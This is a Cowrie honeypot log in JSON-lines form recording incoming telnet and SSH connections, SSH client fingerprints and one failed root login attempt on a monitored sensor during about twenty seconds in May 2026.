{"eventid":"cowrie.session.closed","duration":30.88291597366333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:34.450031Z","src_ip":"103.171.45.122","session":"63ad8d6a2e98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"559f546b5b26","protocol":"telnet","message":"New connection: 51.15.157.40:50690 (159.203.135.109:23) [session: 559f546b5b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:34.478049Z"}
{"eventid":"cowrie.session.closed","duration":31.069746494293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:34.944786Z","src_ip":"51.15.157.40","session":"2f613c2b43f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35808,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4532e4cf9b","protocol":"telnet","message":"New connection: 103.171.45.122:35808 (159.203.135.109:23) [session: 8a4532e4cf9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:35.013609Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":49454,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e2649aefd5","protocol":"telnet","message":"New connection: 104.236.196.85:49454 (159.203.135.109:23) [session: 98e2649aefd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:35.071094Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb03a0099909","protocol":"telnet","message":"New connection: 51.15.157.40:52384 (159.203.135.109:23) [session: fb03a0099909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:35.100957Z"}
{"eventid":"cowrie.session.closed","duration":30.852141857147217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:35.247887Z","src_ip":"51.15.157.40","session":"db2a8d312ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50168,"dst_ip":"159.203.135.109","dst_port":23,"session":"73e655338fd6","protocol":"telnet","message":"New connection: 34.69.118.1:50168 (159.203.135.109:23) [session: 73e655338fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.037895Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d688138971ce","protocol":"telnet","message":"New connection: 103.171.45.122:35822 (159.203.135.109:23) [session: d688138971ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.046169Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":55832,"dst_ip":"159.203.135.109","dst_port":23,"session":"440ca7737e76","protocol":"telnet","message":"New connection: 51.15.157.40:55832 (159.203.135.109:23) [session: 440ca7737e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.189709Z"}
{"eventid":"cowrie.session.closed","duration":30.758978605270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.316644Z","src_ip":"51.15.157.40","session":"7d05f7e97fa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2753af2ffdd6","protocol":"telnet","message":"New connection: 34.69.118.1:50184 (159.203.135.109:23) [session: 2753af2ffdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.504753Z"}
{"eventid":"cowrie.session.closed","duration":30.8733012676239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.788990Z","src_ip":"34.69.118.1","session":"0c29ccce1bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58498,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e4f38975c37","protocol":"telnet","message":"New connection: 51.15.157.40:58498 (159.203.135.109:23) [session: 4e4f38975c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:36.914416Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59164,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e499b168dfd","protocol":"telnet","message":"New connection: 51.15.157.40:59164 (159.203.135.109:23) [session: 5e499b168dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:37.243502Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59252,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d820a19e34","protocol":"telnet","message":"New connection: 51.15.157.40:59252 (159.203.135.109:23) [session: 00d820a19e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:37.303071Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"1905e2ec066e","protocol":"telnet","message":"New connection: 103.171.45.122:35826 (159.203.135.109:23) [session: 1905e2ec066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:37.643102Z"}
{"eventid":"cowrie.session.closed","duration":31.086649179458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:37.787380Z","src_ip":"89.39.83.70","session":"8f464509098d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35192370414734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:38.283946Z","src_ip":"157.15.20.138","session":"7036bc8a1d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53808,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ab60634b00","protocol":"telnet","message":"New connection: 51.15.157.40:53808 (159.203.135.109:23) [session: 53ab60634b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:38.517739Z"}
{"eventid":"cowrie.session.closed","duration":30.860366344451904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:38.615645Z","src_ip":"34.69.118.1","session":"26a7ba8f2554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175652742385864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:38.675421Z","src_ip":"51.15.157.40","session":"cdf283d1ec1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00220584869385,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:39.266792Z","src_ip":"109.224.242.7","session":"9a1739288047","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68403649330139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:39.503045Z","src_ip":"51.15.157.40","session":"776ab0a704f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089192867279053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:39.598901Z","src_ip":"51.15.157.40","session":"55f8c13763b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96510934829712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:40.144436Z","src_ip":"104.236.196.85","session":"a6125f5c9e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130767345428467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:40.185251Z","src_ip":"104.236.196.85","session":"9b844a2e0f5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237115383148193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:41.160514Z","src_ip":"89.39.83.70","session":"746aabb9daab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43108,"dst_ip":"159.203.135.109","dst_port":23,"session":"fab7d74c3ba1","protocol":"telnet","message":"New connection: 62.171.133.168:43108 (159.203.135.109:23) [session: fab7d74c3ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:41.901586Z"}
{"eventid":"cowrie.session.closed","duration":31.60569190979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:41.961023Z","src_ip":"51.15.157.40","session":"3289ca5cff10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249707221984863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:42.841050Z","src_ip":"51.15.157.40","session":"7072d93ca8c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828728675842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:42.992832Z","src_ip":"62.171.133.168","session":"85a9417855b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.354201078414917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:43.617499Z","src_ip":"51.15.157.40","session":"ad6f0969e7da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35834,"dst_ip":"159.203.135.109","dst_port":23,"session":"1478acb8321f","protocol":"telnet","message":"New connection: 103.171.45.122:35834 (159.203.135.109:23) [session: 1478acb8321f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:43.848761Z"}
{"eventid":"cowrie.session.closed","duration":31.50045394897461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:44.011259Z","src_ip":"51.15.157.40","session":"4f637e5764e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27606773376465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:44.016484Z","src_ip":"62.171.133.168","session":"982ca06aa9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"91470668e2b4","protocol":"telnet","message":"New connection: 51.15.157.40:47834 (159.203.135.109:23) [session: 91470668e2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:44.442068Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51646,"dst_ip":"159.203.135.109","dst_port":23,"session":"7678675c1529","protocol":"telnet","message":"New connection: 51.15.157.40:51646 (159.203.135.109:23) [session: 7678675c1529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:44.786172Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":45058,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f600b4ef1ab","protocol":"telnet","message":"New connection: 103.171.45.122:45058 (159.203.135.109:23) [session: 2f600b4ef1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:44.940380Z"}
{"eventid":"cowrie.session.closed","duration":31.191107273101807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:45.436262Z","src_ip":"51.15.157.40","session":"abfad054172c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2997305393219,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:45.751029Z","src_ip":"108.61.224.215","session":"989885dc7b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":45068,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca87ca58569","protocol":"telnet","message":"New connection: 103.171.45.122:45068 (159.203.135.109:23) [session: fca87ca58569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:45.763650Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43112,"dst_ip":"159.203.135.109","dst_port":23,"session":"0224a9fbd8fd","protocol":"telnet","message":"New connection: 62.171.133.168:43112 (159.203.135.109:23) [session: 0224a9fbd8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:46.295774Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":37644,"dst_ip":"10.17.0.5","dst_port":22,"session":"3039a66468a3","protocol":"ssh","message":"New connection: 76.127.61.251:37644 (10.17.0.5:22) [session: 3039a66468a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.216363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.222117Z","src_ip":"76.127.61.251","session":"3039a66468a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.280681Z","src_ip":"76.127.61.251","session":"3039a66468a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qasim123","message":"login attempt [root/qasim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.543562Z","src_ip":"76.127.61.251","session":"3039a66468a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":45070,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d4a2c3bc0e9","protocol":"telnet","message":"New connection: 103.171.45.122:45070 (159.203.135.109:23) [session: 0d4a2c3bc0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.800729Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38766,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d6ec63610c","protocol":"telnet","message":"New connection: 157.15.20.138:38766 (159.203.135.109:23) [session: 77d6ec63610c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:47.817445Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43118,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89a55a820c6","protocol":"telnet","message":"New connection: 62.171.133.168:43118 (159.203.135.109:23) [session: c89a55a820c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:48.485556Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":52294,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1d0e9fce15f","protocol":"telnet","message":"New connection: 34.69.118.1:52294 (159.203.135.109:23) [session: e1d0e9fce15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:48.559491Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:48.603233Z","src_ip":"76.127.61.251","session":"3039a66468a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78438401222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:48.818977Z","src_ip":"89.39.83.70","session":"ada3d0ad6c4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702776193618774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:49.010022Z","src_ip":"89.39.83.70","session":"23beeebcaac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":55724,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e5dbfb2b10","protocol":"telnet","message":"New connection: 104.236.196.85:55724 (159.203.135.109:23) [session: 62e5dbfb2b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:49.176482Z"}
{"eventid":"cowrie.session.closed","duration":30.525074005126953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:49.271046Z","src_ip":"51.15.157.40","session":"15d2886a58c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04691db6bfb","protocol":"ssh","message":"New connection: 122.168.114.167:50808 (159.203.135.109:22) [session: d04691db6bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:49.953128Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35016,"dst_ip":"159.203.135.109","dst_port":23,"session":"a923f5679041","protocol":"telnet","message":"New connection: 62.171.133.168:35016 (159.203.135.109:23) [session: a923f5679041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:50.279548Z"}
{"eventid":"cowrie.session.closed","duration":34.70988488197327,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:50.422028Z","src_ip":"167.99.38.72","session":"5a37925eac30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":47326,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e7389aae265","protocol":"telnet","message":"New connection: 157.15.20.138:47326 (159.203.135.109:23) [session: 8e7389aae265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:50.726541Z"}
{"eventid":"cowrie.session.closed","duration":30.769596099853516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.002508Z","src_ip":"62.171.133.168","session":"0a4e44596cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33967900276184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.331650Z","src_ip":"103.171.45.122","session":"a37abc8de79f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.462631Z","src_ip":"122.168.114.167","session":"d04691db6bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.467057Z","src_ip":"122.168.114.167","session":"d04691db6bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.659559726715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.812263Z","src_ip":"89.39.83.70","session":"2c76d2bd36ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":47290,"dst_ip":"159.203.135.109","dst_port":23,"session":"31289df841dc","protocol":"telnet","message":"New connection: 108.61.224.215:47290 (159.203.135.109:23) [session: 31289df841dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.919428Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35028,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a546a085303","protocol":"telnet","message":"New connection: 62.171.133.168:35028 (159.203.135.109:23) [session: 4a546a085303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:51.923833Z"}
{"eventid":"cowrie.session.closed","duration":61.8803608417511,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:52.054918Z","src_ip":"157.15.20.138","session":"0774720187e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.794835329055786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:52.759385Z","src_ip":"51.15.157.40","session":"8073db619ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.223029851913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:52.978503Z","src_ip":"62.171.133.168","session":"efee22a28d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00169396400452,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:53.528788Z","src_ip":"109.224.242.7","session":"71d236ab9857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":45086,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f5beae958c7","protocol":"telnet","message":"New connection: 103.171.45.122:45086 (159.203.135.109:23) [session: 2f5beae958c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:53.746026Z"}
{"eventid":"cowrie.session.closed","duration":31.04514980316162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.167635Z","src_ip":"51.15.157.40","session":"368aab2f9738","protocol":"telnet"}
